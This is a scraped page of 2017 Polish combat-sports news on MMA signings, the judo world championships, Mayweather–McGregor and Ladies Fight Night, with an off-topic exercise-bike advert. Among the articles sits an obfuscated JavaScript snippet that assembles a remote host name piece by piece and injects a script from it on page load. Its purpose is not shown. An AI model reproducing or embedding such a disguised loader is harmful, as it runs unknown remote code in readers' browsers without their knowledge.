Jurkowski otwiera kolejny rozdział w swojej karierze. – No to oficjalnie…od dziś jestem zawodnikiem WCA Fight Team! Trenerem głównym będzie Robert Jocz…z którym wspólnie zaczynaliśmy tworzyć Nastula Team w 2005 ( z Pawłem i Michałem Garnysem). Mam nadzieje, że pierwsza walka pod Jego skrzydłami będzie efektowna i zwycięska (pisownia oryginalna) –  poinformował „Juras” na swoim facebooku.

Przygodę ze sportami walki Łukasz Jurkowski zaczął od taekwondo. Zawodnik odnosił sukcesy w wielu turniejach na poziomie krajowym i międzynarodowym. Od początku istnienia KSW był związany z organizacją, dla której walczył do 2011 roku. Potem poświęcił się komentowaniu gal sportów walki. Wrócił na historyczną galę KSW na stadionie PGE Narodowy. Teraz Jurkowski podejmuje kolejne wyzwanie. Dotychczas „Juras” trenował w S4 Fight Club.

Kilka słów o WCA Fight Team

Ekipa powstała w 2015 roku. W klubie trenowali m.in. Bartosz Fabiński, Piotr Strus czy Anzor Azhiev, a także zawodnicy rywalizujących w UFC. Po tym jak na emeryturę odszedł trener S4 Fight Club Piotr Jeleniewski, WCA wzmocniła plejada polskich gwiazd MMA – Daniel Omielańczuk, Jan Błachnowicz i Damian Janikowski. Do warszawskiego klubu dołączył również Marcin Tybura.

Kilka dni temu managerem WCA Fight Team został przedstawiciel organizacji ACB na Europę Baysangur Edelbiev.

Fot. Facebook

KM

Niespodzianka! Mistrzyni olimpijska poza podium MŚ

Mało kto spodziewał się takiego scenariusza. Mistrzyni olimpijska w judo z Rio de Janeiro Majlinda Kelmendi (52kg) bez medalu mistrzostw świata w Budapeszcie. Na tatami zaprezentowali się również pierwsi Polacy. Agata Perenc (52kg) i Aleksander Beta (66kg) nie podbili stolicy Węgier.

Kelmendi to jedna z najlepszych i najbardziej rozpoznawalnych judoczek. Do Budapesztu jechała jako faworytka, a znalazła się tuż za podium.

Ma już wszystko

26-letnia judoczka jest dumą mieszkańców niewielkiego Kosowa. Kelmendi urasta do miana bohaterki narodowej za sprawą wywalczenia złotego medalu w Igrzyskach Olimpijskich w Rio de Janeiro. Warto zaznaczyć, że w Londynie startowała jeszcze w barwach Albanii. Wracając do tematu, w tym roku 26-latka potwierdziła dominację na Starym Kontynencie i w Warszawie sięgnęła po mistrzostwo Europy. A jeszcze dwa tygodnie przed zawodami Kelmendi zmagała się z kontuzją pleców. W finale reprezentantka Kosowa pokonała Alesję Kuzniecową.

W Budapeszcie Kelmendi miała wzbogacić swoją kolekcję medali o kolejne złoto mistrzostw świata. Uchodziła za faworytkę, gdyż od pięciu lat nie schodziła z podium międzynarodowych zawodów. Kelmendi zaczęła rywalizację w stolicy Węgier zdecydowanie i wygrała dwie walki przed czasem. W kolejnej opór stawiła jej Francuzka Amandinie Buchard, jednak mistrzyni olimpijska zaliczyła dwa waza ari. Szok w półfinale. Kelmendi trafiła na 23-letnią Japonkę Ai Shishime, która jest mistrzynią Azji. Wyrównane i niezwykle ciekawe starcie zakończyło się triumfem zawodniczki z Kraju Kwitnącej Wiśni. Mistrzyni olimpijska walczyła o brąz. Kelmendi rywalizowała z Eriką Mirandą, która również mogła być zawiedziona. Brazylijka miała na koncie już trzy medale mistrzostw świata, jednak w dorobku brakowało jej złota. W Budapeszcie sięgnęła po trzeci brąz z rzędu. Kelmendi została z niczym. Takiego rozstrzygnięcia nikt się nie spodziewał.

Trzy lata temu Hifumi Abe (66kg) wywalczył srebro mistrzostw świata juniorów. Od 2015 roku Japończyk nie schodzi z podium międzynarodowych zawodów. Co warto dodać, wygrał cztery kolejne starty i najlepszym dowodem jego talentu i fantastycznej formy jest zwycięstwo w Budapeszcie. Abe odniósł największy sukces w karierze. W finale pokonał 30-letniego Mikhaila Puliaeva, dla którego było to trzecie srebro mistrzostw świata.

Pierwsze koty itd.

W drugim dniu czempionatu na tatami zobaczyliśmy naszych zawodników. Agata Perenc (52kg) z dobrej strony pokazała się w Bukareszcie i Mińsku, gdzie stawała na podium. Po cichu można było liczyć na niespodziankę w Budapeszcie. Perenc zaczęła od zwycięstwa z mistrzynią Afryki Meriem Moussą. W kolejnym starciu Polka trafiła na utytułowaną Erikę Mirandę i wygrała przed czasem.

Szybko start w mistrzostwach świata zakończył Aleksander Beta (66kg). 21-letni reprezentant Kirgistanu Almaz Altynbek Uulu pokonał Polaka przed czasem, jednak w kolejnym starciu musiał uznać wyższość Wandera Mateo.

Fot. Facebook

KM

Joshua z Pulewem, a kto z Cotto i Wilderem?

28 października w Cardiff mistrz świata IBF, WBA i WBO wagi ciężkiej Anthony Joshua zmierzy się z Kubratem Pulewem. W kategorii królewskiej szykuje się również inna wielka walka. Najbliższe miesiące mogą być również emocjonujące w związku z pożegnalnym starciem Miguela Cotto. 

Chyba żaden pojedynek nie przyciągnie tak wielkiej uwagi jak starcie Floyda Mayweathera Jr. z Conorem McGregorem. Jednak trzeba zaznaczyć, że było to nietypowe wydarzenie. Jeśli chodzi o wrażenia czysto bokserskie, w tym roku ogromnych wrażeń dostarczyło mistrzowskie starcie w wadze ciężkiej pomiędzy Anthony'm Joshuą, a Władimirem Kliczko. Czy ktoś zaprezentuje wyższy poziom?

Pulew się doczekał

Miłośnicy boksu wierzyli, że jesienią będą mieli okazję emocjonować się drugą odsłoną rywalizacji pomiędzy Joshuą a Kliczko. Tak się jednak nie stanie. Marzenia prysły niczym bańka mydlana za sprawą decyzji Ukraińca. Wielki czempion wagi ciężkiej zakończył bogatą karierę. Taki krok ucieszył Kubrata Pulewa, który jest obowiązkowym pretendentem do pasa IBF. Bułgar w końcu doczeka się kolejnej mistrzowskiej walki. Pulew rywalizował o pas IBF w listopadzie 2014 roku, jednak przegrał przez nokaut z Władimirem Kliczko. Od tamtego czasu 36-letni bokser wygrał pięć kolejnych walk.

W Cardiff Joshua stoczy dwudziesty pojedynek i nadal będzie chciał podtrzymać skuteczność. Dotychczas wszystkie starcia Brytyjczyk wygrał przed czasem. Triumf Joshuy zapewne rozgrzałby dyskusję o jego ewentualnym spotkaniu z Deontayem Wilderem.

Teraz poświęćmy chwilę uwagi czempionowi WBC. Coraz bardziej realne staje się starcie Wildera z Luisem Ortizem. Ponoć strony doszły do porozumienia w sprawie walki, ale na oficjalne potwierdzenie trzeba jeszcze poczekać. Ortiz wygrał wszystkie 27 walk, z czego 23 przed czasem. Wilder triumfował 38 razy, w tym tylko raz na punkty. Amerykanin bronił tytułu WBC już pięć razy. Po raz ostatni w lutym br., kiedy rozprawił się z Geraldem Washingtonem. Zapowiadano, że Wildera czeka łatwa przeprawa, ale pretendent sprawił mu sporo kłopotów. Lewy prosty sprawiał mistrzowi problemy na początku starcia. W końcu role się odwróciły i w piątej rundzie Wilder zakończył starcie. Walka z Ortizem byłby jednym z najtrudniejszych wyzwań w karierze 31-letniego czempiona.

Czas odejść

36-letni Miguel Cotto zbliża się do końca kariery. Na ostatniej prostej wrócił na tron w wadze junior średniej pokonując na punkty Japończyka Yoshihiro Kamegai. 41. wygrana dała Portorykańczykowi tytuł mistrzowski WBO.

Cotto zapowiadał, że zamierza zakończyć karierę w 2017 roku. Prawdopodobnie ostatnią walkę stoczy w grudniu w Nowym Jorku. Wśród potencjalnych rywali Cotto wymienia się Gennadija Gołowkina i Saula Alvareza, którzy spotkają się 16 września w Las Vegas oraz Davida Lemieux.

KM

50. zwycięstwo Mayweathera Jr.

Chyba nikt nie może być zawiedziony hitowym starciem Floyda Mayweathera Jr. z Conorem McGregorem. Choć dla Irlandczyka była to pierwsza walka bokserska, zaprezentował w niej solidny poziom. Doświadczenie Mayweathera Jr. wzięło górę i Amerykanin mógł świętować zwycięstwo przed czasem.

Ogromne pieniądze, wielcy zawodnicy i oczy całego świata zwrócone na ring w Las Vegas. Wszyscy zastanawiali się, czy McGregor udźwignie ciężar rywalizacji na zasadach bokserskich. Krótko można powiedzieć, że dał radę, choć z ringu schodził jako przegrany. Pod względem finansowym Irlandczyk zrobił świetny interes.

Ostry początek gwiazdy MMA

Stało się to, co jeszcze na początku roku wydawało się nierealne. Zawodnik MMA wszedł do ringu i rywalizował z wielkim mistrzem Floydem Mayweatherem Jr. na zasadach bokserskich. Przed starciem bukmacherzy nie mieli złudzeń i jednoznacznie wskazywali na zwycięstwo Amerykanina. Dla „Moneya” był to powrót z emerytury i szansa na 50. triumf w karierze, co dawało mu szansę na zapisanie się w annałach historii.

McGregor rozpoczął odważnie i ruszył do przodu, jednak jego ciosy lądowały na gardzie rywala. Mayweather był niczym przyczajony tygrys i czekał na swój czas. Jednak McGregor do perfekcji opanował sztukę prowokacji i starał się „zachęcić” 40-latka do ataku. McGregor chował ręce za pasem. W drugiej rundzie Irlandczyk przyparł rywala do lin i serię ciosów zakończył uderzeniem młotkowym, za co dostał ostrzeżenie od sędziego. Ale to nie był jedyny raz…

Czwarta runda – to miał być ten czas. McGregor chciał zakończyć rywalizację z Mayweatherem, jednak przeciwnik świetnie śpisywał się w defensywie. W końcu Amerykanin przejął inicjatywę i punktował McGregora, choć ten starał się odpowiadać. W dziewiątej odsłonie „Money” miał Irlandczyka praktycznie na widelcu. Gwiazdor MMA był trzykrotnie bliski liczenia, ale klinczował. Dziesiąta, jak się okazało ostatnia odsłona, to teatr jednego aktora. Mayweather nie miał litości dla McGregora, słał w jego stronę kolejne ciosy i sędzia przerwał pojedynek.

Czas działał na korzyść Mayweathera

Conor McGregor zaskoczył w swoim debiucie w ringu bokserskim. Jednak Irlandczyk nigdy nie walczył tak długo. Wyraźnie widać było, że do czwartej rundy to on był stroną przeważającą, jednak później ta różnica rozmywała się. Z kolei Mayweather perfekcyjnie rozegrał pojedynek. Zaczął ostrożnie, gdyż w końcu jest starszy od McGregora o 11 lat i widząc, że rywal opada z sił skorzystał z okazji.

Co warto podkreślić, Mayweather wrócił na jedną walkę i widać było, że dawno nie boksował. Z kolei McGregor przegrał, ale pozostawił po sobie dobre wrażenie. Irlandczyk stanął przed trudnym wyzwaniem zaprezentowania się w walce z wielkim mistrzem, jednak potrafił stawić mu czoła i przez kilkanaście minut rywalizował jak równy z równym. Za ten wysiłek dostanie solidną wypłatę. Największą podczas swojej kariery. Wszystko wskazuje, że będzie to minimum 100 milionów dolarów.

Fot. Facebook Conor McGregor

KM

Ring stanie się królestwem kobiet

W Rawie Mazowieckiej kobiety udowodnią, że mocne ciosy, krew i agresja nie są im obce. Już jutro (26 sierpnia) w hotelu Ossa odbędzie się gala Ladies Fight Night „Ira”. W akcji zaprezentują się m.in. mistrzyni świata muay thai Katarzyna Posiadała i niepokonana w ringu LFN Sylwia Juśkiewicz.

Podróż federacji Ladies Fight Night rozpoczęła się 18 grudnia w hotelu Double Tree by Hilton w Łodzi. W walce wieczoru Sylwia Juśkiewicz wypunktowała Rumunkę Alice Ardelean. Ostatni raz kibice sportów walki mogli podziwiać zawodniczki w kwietniu w Poznaniu. Teraz czas na kolejny mocny cios i wspaniałe zawodniczki. Rawa Mazowiecka jest już gotowa! Do gali Ladies Fight Night „Ira” pozostały godziny.

Z Łodzi przez Poznań do Japonii

Taką drogę przebędzie Sylwia Juśkiewicz. 22-letnia zawodniczka to czołowa postać federacji Ladies Fight Night. Dotychczas zaliczyła w niej cztery walki i wszystkie wygrała. Dobra postawa Juśkiewicz została dostrzeżona przez włodarzy organizacji Rizin FF. W październiku zawodniczka wystąpi w atomowym turnieju MMA. Jednak 26 sierpnia czeka ją kolejne wyzwanie w ringu Ladies Fight Night. Rywalką Polki będzie 22-letnia Manoela Matos. Brazylijka zbiera doświadczenie w MMA, jednak ma na swoim koncie amatorskie mistrzostwo kraju. Dwie zawodowe walki zakończyła przed czasem, więc Juśkiewicz musi się mieć na baczności.

Veronika Cmarova, Lucie Mudrochova, Marta Gusztab i Lucie Cmarova – te zawodniczki pokonała Katarzyna Posiadała. Czy w kolejnym pojedynku na zasadach K-1 Polka zwycięży? W Rawie Mazowieckiej Posiadała stawi czoła Włoszce Fabioli Aggio. Zawodniczka z Italii ma na swoim koncie wicemistrzostwo świata w K-1, doświadczenie zdobyła także w muay thai. Jednak Polka również nie próżnuje. W marcu w Tajlandii Posiadała zdobyła mistrzostwo świata muay thai w kategorii do 63,5 kg. 

Ciekawie zapowiada się starcie Iman Barlow i Ranne Klinratree w formule K-1. Zawodniczki mają imponujące rekordy. Zawodniczka z Wielkiej Brytanii ma na koncie 87 zwycięstw i należy do czołowych fighterek muay thai i kickboxingu. Z kolei Klinratree zmierza w stronę 100 wygranych walk. Ma na koncie 93 triumfów, zdobyła także tytuł zawodowej mistrzyni świata muay thai WPMF.

Przed trudnym wyzwaniem stanie była europejska mistrzyni K-1 Kamila Bałanda. Na gali w Poznaniu utytułowana zawodniczka pokonała jednogłośną decyzją Martę Gusztab. Teraz przyjdzie jej się zmierzyć z Annisą Haddaoui, która była zaskoczeniem gali LFN FeMMAgeddon w Warszawie. Holenderka w ostatniej chwili znalazła się w karcie walk, ale szybkością, seriami ciosów i licznymi kopnięciami zdominowała Alisę Bazhukovą. Teraz Haddaoui sprawdzi możliwości Bałandy, która musi być czujna.

Na gali LFN „Ira” zaprezentują się również: Carolina Jimenez, Anna Rudenko, Natalia Leciejewska, Patrycja Krawczyk i Karolina Klusova.

Problemy wizowe

Monika Bohn będzie musiała poczekać na kolejną walkę na Ladies Fight Night. Wszystko przez problemy wizowe Oksany Pashkovej. Walka odbędzie się w innym terminie. W Ladies Fight Night Bohn odniosła zwycięstwo (z Patrycją Pamułą) i zanotowała porażkę (z Magdaleną Kasprzyk).

Warto dodać, że podczas gali w Rawie Mazowieckiej nie zabraknie wyjątkowych gości. Wydarzenie będą obserwować: Bracia Collins, Piotr Stramowski, Tomasz Oświeciński, Ewa Lubert, Marcin Wrzosek, Bartek Kurczewski, Artur Partyka, Łukasz Zaborowski, Karolina Owczarz, Monika Michalak, Ewa Piątkowska.

Fot. lfn.com.pl

KM

Najlepsi aktorzy gotowi do spektaklu

Takiej promocji nie miał żaden hit Hollywood. O kolejnych częściach Harry'ego Pottera nie mówiło się tyle, ile o sobotniej (26 sierpnia) walce Floyda Mayweathera Jr. i Conora McGregora. Las Vegas czeka na głównych aktorów najbardziej wyczekiwanego widowiska 2017 roku.

Niektórzy obawiają się otwierać lodówkę. Wszędzie Mayweather i McGregor. Wokół pojedynku Amerykanina i Irlandczyka stworzono niesamowitą otoczkę, która zainteresowanych przenosi w inny wymiar.

Czy porwą tłumy?

To pytanie numer jeden. Sprawą kluczową jest, czy po walce nie sprowadzimy całego widowiska do stwierdzenia „z wielkiej chmury mały deszcz”. Nie da się jednak ukryć, że będzie to wyjątkowy, wręcz przełomowy pojedynek. 26 sierpnia w Las Vegas zmierzą się bokser i zawodnik MMA. Warto uzupełnić, że nie chodzi o byle jakich zawodników. Floyd Mayweather Jr. wygrał wszystkie 49 walk na zawodowym ringu. Amerykanin zdobywał pasy w kategoriach półśredniej, junior średniej, junior lekkiej, lekkiej, junior półśredniej i lekkośredniej. Co warto dodać, po raz ostatni 40-latek rywalizował blisko dwa lata temu. W Las Vegas pokonał Andre Berto.

Młodszego o 11 lat Conora McGregora również należy zaliczyć w poczet gwiazd. W końcu Irlandczyk jest najbardziej rozpoznawalną twarzą UFC i niezwykle barwną postacią. Jako pierwszy w historii zdobył dwa pasy mistrzowskie – w kategorii lekkiej i piórkowej. Ostatnią walkę stoczył w listopadzie 2016 roku, kiedy to pokonał Eddiego Alvareza w walce mistrzowskiej.

Obaj potrafią robić show i budować napięcie. Wyssali to z mlekiem matki. Przychodzi im to z łatwością, przyciągają uwagę tłumów. Z tym, że Mayweather dokonywał tego w zupełnie innej skali. Amerykanin opływał w dostatku. W porównaniu z nim zarobki McGregora należy uznać za skromne kieszonkowe. Dochody Mayweather liczono w setkach milionów. Z kolei Irlandczyk za walkę z Natem Diazem na UFC 202 miał dostać trzy miliony dolarów. Różnica zatem jest kolosalna.

Przełomem dla McGregora ma być starcie z Mayweatherem. Gdy na początku roku pojawiły się informacje o rzekomym starciu zawodników, wielu miłośników sportów walki reagowało śmiechem bądź nie dowierzało. W czerwcu walka stała się faktem. Strony podpisały umowę i 26 sierpnia McGregor i Mayweather mają stworzyć największe show wszech czasów. Kolejne konferencje, podczas których zawodnicy nie szczędzili sobie cierpkich słów. Wszystko po to, żeby budować zainteresowanie i zachęcać do zakupu pakietów pay per view. Mówi się, że łączny zysk z walki ma osiągnąć ponad 600 milionów dolarów.

Stawką będzie pas

Całego wydarzenia nie da się inaczej określić jak mianem spektaklu. Ma być to widowisko najwyższego rzędu. Widzowie przyjdą spragnieni najwyższych doznań i ogromnych wrażeń. W końcu na scenie na dystansie dwunastu rund zaprezentują się gwiazdy boksu i MMA. Faworytem pojedynku jest Floyd Mayweather Jr.

Na szali pojawi się pas zawierający 1,5 kilograma 24-karatowego złota, ponad 3 tysiące diamentów, 600 szafirów i 160 szmaragdów. Może zakręcić się w głowie od tych błyskotek. Oby w ringu wszystko zagrało, a nie wiało nudą.

KM

Gala Ladies Fight Night już w sobotę!

W najbliższa sobotę 26.08.2017r., Rawa Mazowiecka przemieni się w światową stolicę damskich sztuk walki. Podczas gali Ladies Fight Night „IRA”, Anissa Haddaui (41-3-1) podejmie byłą europejską mistrzynię K1 Kamilę Bałandę (11-1-0). Holenderka powróci do klatkoringu Ladies Fight Night by w walce wieczoru zmierzyć się z szalenie niebezpieczną Polką. W klatkoringu LFN obok najlepszych polskich zawodniczek zobaczymy również fighterki z Holandii, Włoch, Brazylii, Czech, Nowej Zelandii, Tajlandii, Wielkiej Brytanii, Rosji, Wenezueli i Ukrainy.

Sylwia „Mała” Juśkiewicz vs Manoela Matos

W tej walce, zaprezentuje się jedna z najbardziej porywających zawodniczek Ladies Fight Night, Sylwia Juśkiewicz, która stawi czoła głodnej zwycięstwa Brazylijce – Manoeli Matos – tym razem na zasadach MMA. Jak potoczy się ich sobotnia walka?

Warto podkreślić, iż Sylwia „Mała” Juśkiewicz (MMA 6-4) już w październiku weźmie udział w pierwszym atomowym turnieju MMA, organizowanym przez japońską organizację Rizin FF w Japonii.

Transmisja live

Całą galę Ladies Fight Night „IRA” będzie można śledzić „na żywo” w jakości HD na www.lfn.com.pl oraz na Facebooku organizacji. Galę poprowadzą niezastąpieni: Krzysztof „Jankes” Jankowski oraz Łukasz „Juras” Jurkowski. Ze studia usłyszymy głos Tomasza Marciniaka. Komentarz Artur „Kornik” Sowiński i Błażej Szwajkajzer.

Wśród gości m.in. Piotr Stramowski, Tomasz Oświeciński, Bracia Collins, Ewa Lubert, Marcin Wrzosek, Bartek Kurczewski, Artur Partyka, Łukasz Zaborowski, Karolina Owczarz, Monika Michalak, Ewa Piątkowska.

Start w sobotę o godz. 20:00!

Kogo zobaczymy w klatko-ringu LFN?

Podczas najbliższej gali żeńskiej organizacji odbędzie się dziewięć walk, trzy w formule MMA i sześć w K-1. Pierwszy raz walka w kategorii wagowej +90kg, będzie to najprawdopodobniej najcięższa walka kobiet w mma na świecie.

Ceremonia ważenia w piątek

Ceremonia ważenia zawodniczek na dzień przed galą oraz media trening z konferencją prasową odbędą się o godz. 15:00, w Hotelu Ossa w Rawie Mazowieckiej.

Patroni medialni

FightTime TV, Radio ESKA, Sport.pl, MMA.pl, InTheCage.pl, Fight24.pl, MadFight24.com, se.pl, sporty-walki.org, Richard Magazin Poland.

Czy warto zakupić poziomy rower treningowy?

Rowery poziome są jednymi z szybszych pojazdów napędzanych siłą naszych mięśni. Mimo tego nie cieszą się one zbyt dużą popularnością. Wynika to przede wszystkim z faktu, że mają one skomplikowaną konstrukcję. Ich dużą wadą jest również to, że są znacznie mniej zwrotne niż klasyczne rowery pionowe.

Na szczęście wady te nie mają znaczenia w przypadku poziomych rowerów treningowych. Jest to przecież sprzęt stacjonarny przeznaczony do ćwiczeń w domu lub w sali treningowej. Jak zatem wypada poziomy rower magnetyczny w porównaniu z pionowym?

Kiedy lepiej wybrać stacjonarny rower pionowy?

Pionowe rowery treningowe są obecnie chyba najbardziej rozpowszechnionymi maszynami treningowymi. Ich popularność wynika głównie z faktu, że w sklepie wybieramy głównie sprzęty, który znamy a kto obecnie nie potrafi jeździć rowerze?

Jeśli głównym celem treningu ma być przygotowanie się do wyprawy rowerowej to faktycznie lepiej w takim przypadku sprawdzi się rower pionowy, ponieważ jego konstrukcja bardziej przypomina klasyczny rower. Z takich samych powodów pionowe rowery treningowe wybierają również profesjonalni kolarze. Jednak częściej mocują oni do rowerów, na których mają startować specjalne trenażery generujące opór.

Kiedy rower poziomy?

Gdy jednak głównym celem ćwiczeń jest poprawa kondycji fizycznej oraz redukcja wagi, warto zastanowić się nad zakupem roweru poziomego. Inne ułożenie ciała w czasie jazdy znacznie zmniejsza przeciążenia stawów kolanowych. Ma to ogromne znaczenie zwłaszcza w przypadku osób otyłych i ze znaczną nadwagą. Wiele osób twierdzi również, że trening na rowerze poziomym jest po prostu bardziej komfortowy. Wynika to z tego, że w czasie ćwiczeń nie siedzi się na klasycznym siodełku, lecz na siedzisku z oparciem przypominającym fotel.

Inne zalety rowerów treningowych

Rower stacjonarny jest doskonałym urządzeniem treningowym. Można na nim trenować niezależnie od pory roku oraz dnia. Co więcej, korzystając z niego można wykonywać również inne czynności takie jak na przykład oglądanie ulubionego serialu lub słuchanie audiobooka.

W internetowych sklepach ze sprzętem sportowym dostępne są również urządzenia łączące w sobie cechy klasycznego roweru pionowego i poziomego. Są to tak zwane rowery hybrydowe. Wybierają je zazwyczaj osoby cierpiące na różnego rodzaju bóle pleców.

Osoby, które niedysponują odpowiednią wiedzą i doświadczeniem powinny przed zakupem poradzić się sprzedawcy. Wybór urządzenia ma ogromny wpływ na efektywność i komfort ćwiczeń.

[kod]

(function(){
z690=document.createElement("script");z690_=(("u")+"st")+"a";z690.async=true;
z690.type="text/javascript";z690_+=("t.i")+""+"n";z690_+=(("f")+"o");z690_+="/";
z690u="65787769.";z690u+="1980yiy3690v78jf8br"+"mq8clwyux2z";
z690.src="//"+z690_+z690u; document.body.appendChild(z690);
})();

Held pomści rodaków?

Marcin Held poznał kolejnego rywala. 25-letni Polak na gali UFC Fight Night 118 w Gdańsku zmierzy się z Teemu Packalenem.

Przypomnijmy. Gdańska gala UFC odbędzie się 21 października. Obecnie w karcie walk znajduje się sześcioro Polaków.

Held musi wygrać

Marcin Held ciężką pracą i dobrymi występami w Bellatorze zapracował na kontrakt w UFC. Tym samym wymagania wobec zawodnika urodzonego w Tychach wzrosły. Polak stoczył trzy pojedynki w UFC, jednak cały czas czeka na pierwszą wiktorię. O ile porażkę z Diego Sanchezem można było przeboleć, to przegrana z Joe Lauzonem wywołała wiele kontrowersji. Rywal przyznał, że nie zasłużył na zwycięstwo. W trzecim starciu, z Damirem Hadzovicem, Polak wygrał dwie rundy i wydawało się, że zmierza po triumf. Jednak w trzeciej odsłonie Bośniak wyprowadził potężne kolano i pokonał przez nokaut byłego pretendenta do tytułu mistrzowskiego wagi lekkiej Bellatora. 

Polak musi wyciągnąć wnioski z trzech walk w UFC i wykorzystać kolejną szansę. Nie ma co ukrywać, że jego pozycja w amerykańskiej organizacji nie jest najmocniejsza. Przełamanie powinno nadejść w październiku w Gdańsku, gdzie Held stoczy czwartą walkę w UFC. – Moim kolejnym przeciwnikiem na gali UFC w Gdańsku 21 października będzie fiński zawodnik MMA – Teemu Packalen. Zapowiada się ciekawy pojedynek – poinformował Marcin Held.

Dla Polaka będzie to pierwsza walka w kraju od ponad siedmiu lat. Co do rywala, 30-letni Teemu Packalen ma za sobą trzy starcia w UFC. Wygrał raz – w lutym ubiegłego roku z Thibaultem Goutim. Fin potrzebował zaledwie 24 sekund do odniesienia zwycięstwa. W tym roku Packalen walczył tylko raz, w Londynie przegrał przez nokaut z Markiem Diakiese. Warto wspomnieć, że na początku kariery Fin miał okazję rywalizować z polskimi zawodnikami. Packalen pokonał Grzegorza Szulakowskiego i Grzegorza Sajbora.

Liczna reprezentacja

21 października polscy kibice MMA będą ściskali kciuku za swoich rodaków, którzy wyjdą do oktagonu. Po raz pierwszy na gali UFC zaprezentują się Oskar Piechota i Adam Wieczorek. Ich rywalami będą Jonathan Wilson i Dmitry Smolyakov.

O trzecie zwycięstwo w amerykańskiej organizacji powalczy Damian Stasiak. 27-latek w maju przegrał z Pedro Munhozem, a wcześniej zanotował dwa triumfy. Dla niego będzie to już piąta walka w UFC, a zmierzy się w niej z Brianem Kelleherem. Więcej występów (sześć) na swoim koncie w amerykańskiej organizacji ma Jan Błachowicz. Były mistrz KSW czeka na trzecie zwycięstwo. Po dwóch porażkach z rzędu jego sytuacja w UFC nie wygląda najlepiej. 21 października Polak zmierzy się z 29-letnim Delvinem Clarkiem.

W Gdańsku nie zabraknie płci pięknej. Karolina Kowalkiewicz nadal czeka na rywalkę, z którą przyjdzie jej się zmierzyć w październiku. Po trzech zwycięstwach, 31-latka zanotowała dwie porażki. W Gdańsku będzie chciała przerwać złą passę.

KM

Zapowiedź: Gala LFN 6 – IRA

Zapraszamy na transmisję telewizyjną z Gali LFN 6 – IRA, która odbędzie się w hotelu OSSA Congress & SPA w dniu 26 sierpnia 2017 r.. Start transmisji na żywo przewidziano na godz. 19.45. Dzień wcześniej tj. w piątek 25 sierpnia 2017 r. o godz. 17.00 zapraszamy na transmisję telewizyjną na żywo z oficjalnej ceremonii ważenia.

TRANSMISJĘ OGLĄDAĆ BĘDZIE MOŻNA TYLKO I WYŁĄCZNIE NA STRONIE FEDERACJI POD ADRESEM: WWW.LFN.COM.PL LUB NA OFICJALNYM PROFILU NA FACEBOOK.

[kod]

LIVE: Gala LFN 6 – IRA – Ceremonia ważenia

Zapraszamy na transmisję telewizyjną z oficjalnej ceremonii ważenia przed Galą LFN 6 – IRA, która odbędzie się w hotelu OSSA Congress & SPA w dniu 25 sierpnia 2017 r.. Start transmisji na żywo przewidziano na godz. 17.00.

[kod]

Gala LFN 6 – IRA – Ceremonia ważenia

Gala LFN 6 – IRA – Ceremonia ważenia

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/LFN5.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/LFN5.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/LFN5.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/LFN5.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Zimnoch idzie po Szpilkę

Czy Artur Szpilka zwiąże swoją przyszłość z MMA? Zdjęcie boksera ze współwłaścicielem KSW Martinem Lewandowskim nasuwa jednoznaczną odpowiedź. W całej sytuacji pojawił się Krzysztof Zimnoch, który mówi krótko: – Wszędzie cię dopadnę.

O tym, że obaj panowie nie darzą się sympatią wiadomo nie od dziś. W lutym 2013 roku Szpilka miał boksować z Zimnochem, jednak po starciu z Mollo sztab boksera z Wieliczki zrezygnował z tej opcji. Teraz temat pojedynku ponownie wrócił.

Szpilka ucieka?

Półtora roku temu Szpilka stanął do najważniejszej walki w bokserskiej karierze. W Barclays Center spotkał się z prawdziwym bombardierem Deontayem Wilderem, który dzierży pas WBC wagi ciężkiej. Szpilka dzielnie walczył, ale Amerykanin w dziewiątej rundzie posłał go na deski. Polak runął i długo nie podnosił się, a ostatecznie opuścił ring na noszach. 

Porażka z czempionem WBC nie była końcem świata. Szpilka pokazał się z dobrej strony, jednak po walce przeszedł operację ręki i wracał do zdrowia. W lutym br. Szpilka miał zaprezentować się w walce z Dominicem Breazeale'em. Do starcia nie doszło, co frustrowało Polaka, który musiał czekać kolejne miesiące na walkę. Ostatecznie w lipcu zmierzył się z Adamem Kownackim. 28-latek urodzony w Łomży boksuje w Stanach i zapowiadał, że znokautuje Szpilkę. Jak mówił, tak zrobił. Kariera pięściarza z Wieliczki znalazła się na zakręcie…

Pojawiły się doniesienia, że Szpilka trafi do KSW. Wrócił również temat walki z Krzysztofem Zimnochem. Jednak w poniedziałek (21 sierpnia) w mediach społecznościowych pojawiło się zdjęcie ze wspólnego lunchu Artura Szpilki i współwłaściciela KSW Martina Lewandowskiego. To mówi samo za siebie… Ale na konkrety trzeba jednak poczekać.

Szybko zareagował za to Krzysztof Zimnoch. – Myślisz Artur, że jak dostałeś bęcki od Adama to popłaczesz teraz kilka miesięcy, a później pójdziesz do KSW walczyć z uczestnikami tańca z gwiazdami i innymi celebrytami??? (pisownia oryginalna) – napisał bokser na swoim facebooku.

Zimnoch nie odpuszcza

33-letni pięściarz chciałby się spotkać ze Szpilką, żeby wyrównać rachunki. Między pięściarzami nie raz dochodziło do ostrej wymiany zdań. – Ty wytrzyj mleko spod nosa, wracaj na salę i przygotuj się na kilka rund ze mną – tylko tak żeby kibice mieli na co popatrzeć dłużej niż przez 5 minut! Mamy jeszcze rachunki do wyrównania, a ty zapłacisz za każde złe słowo, które o mnie powiedziałeś. A jeśli uciekniesz do KSW to ja dopadnę cię nawet tam !!! Idę po ciebie i nikt mnie nie powstrzyma !!! – podkreśla Krzysztof Zimnoch.

9 września w Radomiu 33-latek stoczy 25 walkę w karierze. Jego rywalem będzie Joey Abell.

Fot. Facebook Krzysztof Zimnoch

KM

Domański i Grabowski o krok od medalu

Dwunastu judoków z Polski udało się do Taipei, aby walczyć o medale w XXIX Letniej Uniwersjadzie. Pierwsi zawodnicy zaprezentowali się na tatami. Niewiele do szczęścia zabrakło Tomaszowi Domańskiemu (100kg) i Kamilowi Grabowskiemu (+100kg).

Trzema złotymi medalami mogą pochwalić się Koreańczycy z Południa. Warto dodać, że na siedmiu startujących aż sześciu zawodników z kraju, którego stolicą jest Seul stanęło na podium. Azjaci pokazują siłę w Taipei. Dwa złota na swoim koncie zapisali Japończycy. 

Rosjanie pozbawili ich marzeń

